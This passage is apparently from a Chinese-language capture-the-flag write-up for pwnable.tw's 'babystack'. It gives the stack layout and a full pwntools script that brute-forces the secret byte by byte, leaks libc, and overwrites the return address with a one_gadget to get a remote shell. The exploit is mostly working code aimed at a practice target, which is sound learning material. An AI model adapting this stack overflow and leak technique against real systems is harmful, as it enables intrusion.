最後一步,我們需要再次使用 copy 的功能,將 leak 出來的 random 覆蓋回去,並且一路蓋到 return address 的地方,將 one_gadget address 蓋回去,即可拿到 shell
main
stack 布置
copy_dest: 第一格 0x00
,剩餘隨意 0x40
random: leak 出來的值放回去 0x10
padding: 隨意 0x18
target addr: one_gadget address
from pwn import *
DEBUG_MODE = False
elf = ELF('./babystack' )
libc = ELF('./libc_64.so.6' )
def leak (msg = b'' , leak_size = 0 ):
ans = b''
for i in range (leak_size):
j = 1
while (1 ):
p.sendafter('>>' , '1' )
p.sendafter('Your passowrd :' , msg + ans + j.to_bytes(1 , 'big' ) + b'\x00' )
if (b'Login Success !' in p.recvuntil('!' )):
ans = ans + j.to_bytes(1 , 'big' )
p.sendafter('>>' , '1' )
break
else :
j += 1
return ans
def setgdb (filename : str ):
p = process(['./ld-2.23.so' , filename], env={'LD_PRELOAD' :'./libc_64.so.6' })
context.terminal = ["tmux" , "splitw" , "-h" ]
context.log_level = 'debug'
gdb.attach(p)
return p
if __name__ == '__main__' :
if (DEBUG_MODE):
p = setgdb('./babystack' )
else :
p = remote("chall.pwnable.tw" , 10205 )
context.log_level = 'debug'
password = leak(b'' , 0x10 )
p.sendafter('>>' , '1' )
p.sendafter('Your passowrd :' , b'\x00' + b'a' * (0x48 - 1 ))
p.sendafter('>>' , '3' )
p.sendafter('Copy :' , 'a' )
p.sendafter('>>' , '1' )
leak_addr = leak(b'a' * (0x48 - 0x40 ), 6 )
libc_addr = u64(leak_addr + b'\x00\x00' ) - libc.sym['_IO_file_setbuf' ] - 0x09
print (hex (libc_addr))
one_gadget = libc_addr + 0xf0567
p.sendafter('>>' , '1' )
p.sendafter('Your passowrd :' , b'\x00' + b'a' * 0x3f + password + b'b' * 0x18 + p64(one_gadget))
p.sendafter('>>' , '3' )
p.sendafter('Copy :' , 'a' )
p.interactive()
值得注意的是,如果逐字爆破時遇到原本的值就等於 0x00
的話就會爆破失敗,因此有可能需要多跑幾次腳本
再加上遠端測試的時間差,可能整個跑完要五到十分鐘
整個跑完後再輸入 2
觸發 return 即可得到 shell